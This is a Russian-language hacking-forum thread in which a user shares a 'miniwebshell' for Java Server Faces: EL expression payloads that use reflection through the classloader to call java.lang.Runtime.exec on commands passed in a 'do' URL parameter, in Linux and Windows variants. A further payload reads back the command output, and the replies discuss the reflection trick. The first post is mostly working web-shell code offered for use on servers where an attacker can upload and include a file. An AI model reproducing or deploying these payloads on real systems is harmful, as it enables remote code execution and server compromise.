Старый 15.03.2014, 17:30   #1
HeartLESS
 
Регистрация: 25.04.2012
Сообщений: 101
Репутация: 31
По умолчанию Java Faces Miniwebshell

Всем привет, немного посмотрел java server faces. Если у вас есть возможнось загрузить shell.xhtml и как-то проинклудить его, то вот небольшой вебшелл.
Соус в том, что мы не можем создавать переменные или что-то куда-то нормально присваивать. Но можем вызывать стейтменты, подгружать классы и в итоге выполнять код.
Так же мы работаем в контексте какого-то бина, а значит просто так вызвать java.lang.Runtime не получится.
И еще хз как это запустить под glassfish. На апаче , глассфиш ругается глупыми ошибками.

он вот тут => java_faces_shell.rar


иногда запрос не срабатывает, хз почему, возможно запись в файл выполняется дольше, чем следующий запрос и забирание из него содержимого.

как видно, основная команда выполняется тут
Цитата:
${view.getClass().getClassLoader().loadClass("java .lang.Runtime").getMethod("exec","1,2".split(","). getClass()).invoke(view.getClass().getClassLoader( ).loadClass("java.lang.Runtime").getMethod("getRun time").invoke(null),("/bin/bash,-c,echo `".concat(request.getParameter("do")).concat("` >/tmp/shell")).split(","))}
для винды можно заменить на

Цитата:
${view.getClass().getClassLoader().loadClass("java .lang.Runtime").getMethod("exec","1,2".split(","). getClass()).invoke(view.getClass().getClassLoader( ).loadClass("java.lang.Runtime").getMethod("getRun time").invoke(null),request.getParameter("do").spl it(","))}
тогда передаем параметр: http://site/?do=cmd,/C,payload

Наверняка кто-то скажет "ФУ-фу-фу, а почему запись в файл, я хочу вывод сразу и никакой работы с файлами"

Отвечаю:
Цитата:
view.getClass().getClassLoader().loadClass("java.i o.BufferedReader").getMethod("readLine").invoke(
view.getClass().getClassLoader().loadClass("java.i o.BufferedReader").getConstructors()[1].newInstance(
view.getClass().getClassLoader().loadClass("java.i o.InputStreamReader").getConstructors()[3].newInstance(
view.getClass().getClassLoader().loadClass("java.l ang.Runtime").getMethod("getInputStream").invoke(
view.getClass().getClassLoader().loadClass("java.l ang.Runtime").getMethod("exec","1,2".split(",").ge tClass()).invoke(
view.getClass().getClassLoader().loadClass("java.l ang.Runtime").getMethod("getRuntime").invoke(null) ,
("/bin/bash,-c,echo `".concat(request.getParameter("do")).concat("` >/tmp/shell")).split(",")
)
)
)
)
)
вот так мы можем читать 1ю строку вывода (не беда, у нас есть tail и head)
НО, у меня бин ругается :
Class javax.el.BeanELResolver can not access a member of class java.lang.UNIXProcess with modifiers "public"

я не знаю как это поправить, так что пока как есть.

Второй вопрос:
почему такая бредятина с выполнением запросов, нафиг ajax?
Отвечаю:
Наверняка можно сделать все более грамотно, но вот какая ботва:
${вывод 1 в файл}
${вывод 2 в файл}
${вывод 3 в файл}

может отрабатывать в случайном порядке.
То есть выведет 213, 321 или как ему захочется.
поэтому пока только так.

Кто в состоянии подсказать, как его допилить - прошу =)

upd: немного допилил, в линухе все ок работает.
__________________
Jokester: Ок, с тобой проще согласиться чем переубедить. :)

Последний раз редактировалось HeartLESS; 31.03.2014 в 10:54..
HeartLESS вне форума   Ответить с цитированием
Старый 15.03.2014, 20:52   #2
Beched
 
Регистрация: 06.07.2010
Сообщений: 400
Репутация: 118
По умолчанию

Ппц, там нельзя просто так вызвать нужный метод?)) Или это как в обходе джейлов питоновых, когда нужно добраться до нужного класса через подклассы.
Beched вне форума   Ответить с цитированием
Старый 15.03.2014, 21:07   #3
HeartLESS
 
Регистрация: 25.04.2012
Сообщений: 101
Репутация: 31
По умолчанию

там by default ты можешь обратиться к экземпляру класса бина и его полям или к еще 20 объектам, которые заводятся в результате создания контекста. Но, всего 3 объекта, из контекста которых класслодер позволяет создать новые объекты и вызвать у них методы.
Короче, да, Рефлексия наше все.
__________________
Jokester: Ок, с тобой проще согласиться чем переубедить. :)

Последний раз редактировалось HeartLESS; 15.03.2014 в 21:14..
HeartLESS вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot